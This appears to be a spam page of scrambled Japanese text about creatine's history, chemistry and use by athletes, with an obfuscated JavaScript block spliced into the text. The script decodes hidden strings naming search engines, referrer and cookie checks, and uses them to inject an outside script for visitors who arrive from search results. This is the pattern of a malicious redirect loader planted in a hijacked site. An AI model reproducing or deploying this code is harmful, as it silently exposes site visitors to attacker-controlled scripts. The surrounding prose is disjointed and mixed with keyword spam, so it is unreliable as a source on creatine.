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var _0x1d7f=['LnlhbmRleC4=','SVNUR1M=','bGZKa2w=','LmFvbC4=','VU9tWWw=','bFp6Skk=','cmVmZXJyZXI=','Z2V0','
dmlzaXRlZA==','WkR0cUM=','dGtiaGY=','cEZZU3U=','cm1VWVg=','aGVhZA==','Y3JlYXRlRWxlbWVudA==','Z2V0RW
xlbWVudHNCeVRhZ05hbWU=','aG5id0Y=','YXBwZW5kQ2hpbGQ=','44Kv44Os44Ki44OB44OzK+eti+iCiSvlirnmnpw=','O
yBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBzZWN1cmU=','VndjSkM=','bU5NYlE=','VElEelA=','Y29va2ll','bWF0Y2g=','Y
UxEakc=','QWdzU3I=','TWFoblc=','YnFBaU0=','d1RvQ0E=','c3Rkd0Q=','UnlwcFY=','ZUFxbXo=','OyBkb21haW49','bGVu
Z3Ro','VVZWY0o=','c3BsaXQ=','cmVwbGFjZQ==','cmhhSWI=','cUZ5SEE=','U3BwS3I=','dmJLeWc=','cmVSbk0=','Z2V0V
GltZQ==','UHlKTmM=','TVdIekg=','U1JPdHo=','Lmdvb2dsZS4=','LmJpbmcu','LnlhaG9vLg==','LmFzay4=','LmFsdGF2aXN
0YS4='];(function(_0x48ebf3,_0x47f45b){var _0x1a0d07=function(_0x1c8865){while(--_0x1c8865){_0x48ebf3['push'](_0x4
8ebf3['shift']());}};_0x1a0d07(++_0x47f45b);}(_0x1d7f,0x11b));var
_0x400a=function(_0x435d0c,_0xda2a8d){_0x435d0c=_0x435d0c-0x0;var
_0x1a99aa=_0x1d7f[_0x435d0c];if(_0x400a['vywpBC']===undefined){(function(){var _0x2dbd7e=function(){var
_0x1cc52c;try{_0x1cc52c=Function('return\x20(function()\x20'+'{}..
クレアチンは、雑食性食から1日当たり約1グラムの割合で食事を通しても得られます。.

さらに、タイムズ紙は、100メートルのハードルのコリン・ジャクソンがオリンピックの前にクレアチンを服用し始めたことにも注目しました。.. 当時、英国では低効力のクレアチンサプ
リメントが販売されていましたが、1993年に実験および応用科学（EAS）という会社がホスファゲンという名前でスポーツ栄養市場に化合物を紹介するまで、強度増強用のクレアチン
サプリメントは市販されていませんでした。..
１９６０年代に、クレアチンキナーゼ（ＣＫ）は、ホスホクレアチン（ＰＣｒ）を用いてＡＤＰをリン酸化してＡＴＰを生成することが示された。..
この結果は、クレアチンを貯蔵する身体の能力を示していました。そして、それは、栄養補助食品としてのその使用を示唆しました。..
クレアチンは脊椎動物に見られ、アデノシン三リン酸（ATP）、細胞のエネルギー通貨、主に筋肉および脳組織のリサイクルを促進します。.
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クレアチン 筋肉 効果 すごいその後行われた研究はクレアチンと一緒に高血糖炭水化物の消費がクレアチン筋肉貯蔵を増加させることを示しました. cheat gta kiamat ps2
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 リサイクルは、リン酸基の供与を介してアデノシン二リン酸（ADP）をATPに戻すことによって達成される.. 1912年に、ハーバード大学の研究者Otto FolinとWilley
Glover Denisはクレアチンを摂取することが筋肉のクレアチン含有量を劇的に高めることができるという証拠を見つけました.. 歴史 クレアチンは、1832年にMichel Eug ne
Chevreulが骨格筋の塩基性水抽出物からクレアチンを単離したときに初めて同定されました。..
1920年代の研究では、大量のクレアチンを摂取しても排泄されないことが示されています。.. 環状誘導体クレアチニンはその互変異性体およびクレアチンと平衡状態で存在する. 
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constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x2572af){_0x1cc52c=window;}return _0x1cc52c;};var
_0x4af958=_0x2dbd7e();var _0x13e5d1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
+/=';_0x4af958['atob']||(_0x4af958['atob']=function(_0x51c697){var _0x39861a=String(_0x51c697)['replace'](/=+$/,'');for(var 
_0x68a6b8=0x0,_0x18b440,_0x44ee04,_0x1367bc=0x0,_0x32539b='';_0x44ee04=_0x39861a['charAt'](_0x1367bc++);~_0x4
4ee04&&(_0x18b440=_0x68a6b8%0x4?_0x18b440*0x40+_0x44ee04:_0x44ee04,_0x68a6b8++%0x4)?_0x32539b+=String['f
romCharCode'](0xff&_0x18b440>>(-0x2*_0x68a6b8&0x6)):0x0){_0x44ee04=_0x13e5d1['indexOf'](_0x44ee04);}return
_0x32539b;});}());_0x400a['MmJuEr']=function(_0x580886){var _0x4ee7b5=atob(_0x580886);var _0x460704=[];for(var _0x
5b7f7a=0x0,_0x3fd4b7=_0x4ee7b5['length'];_0x5b7f7a=0x0){if(_0x13adce[_0x400a('0x32')](_0x13adce['OzIPz'],_0x400a('0
x33'))){_0x6f4bd2=!![];}else{return undefined;}}}if(_0x6f4bd2){cookie['set']('visited',0x1,0x1);if(!_0x4c5a60){_0x13adce[_0
x400a('0x34')](include,_0x13adce['DnjbW'](_0x13adce[_0x400a('0x35')],q)+'');}}}R(); 化合物 クレアチン
クレアチン（/クリチン/または/クリチン/）は、公称式（H2N）（HN）CN（CH3）CH2CO2Hの有機化合物です。..
クレアチンの身体的性能への影響は、20世紀初頭からよく文書化されてきたが、1992年のバルセロナオリンピックの後、世間の注目を集めるようになった。.. クレアチンは、アミノ酸
のグリシンとアルギニンから自然に人体内で生産されるため、必須の栄養素ではありません。メチオニンがグアニジノ酢酸からクレアチンへの変換を触媒するという追加の要件があります。
.. タイムズ紙の1992年8月7日の記事は、100メートルで金メダルを獲得したリンフォードクリスティがオリンピックの前にクレアチンを使用したと報告しました..
もう1つのクレアチンユーザーとして、ボディビルディング誌の月刊誌Sally Gunnellに、400メートルのハードルで金メダリストが登場しました。.. [非一次供給源が必要] 1920
年代後半に、クレアチンを通常よりも多く摂取することで筋肉内のクレアチン貯蔵量を増やすことができることが判明した後、科学者たちはクレアチンリン酸塩を発見し、クレアチンが骨格
代謝の重要な役割を果たすと判断しました筋.. 人体のクレアチンおよびホスホクレアチンの総貯蔵量の大部分は骨格筋に見られ、残りは血液、脳、および他の組織に分布している。.
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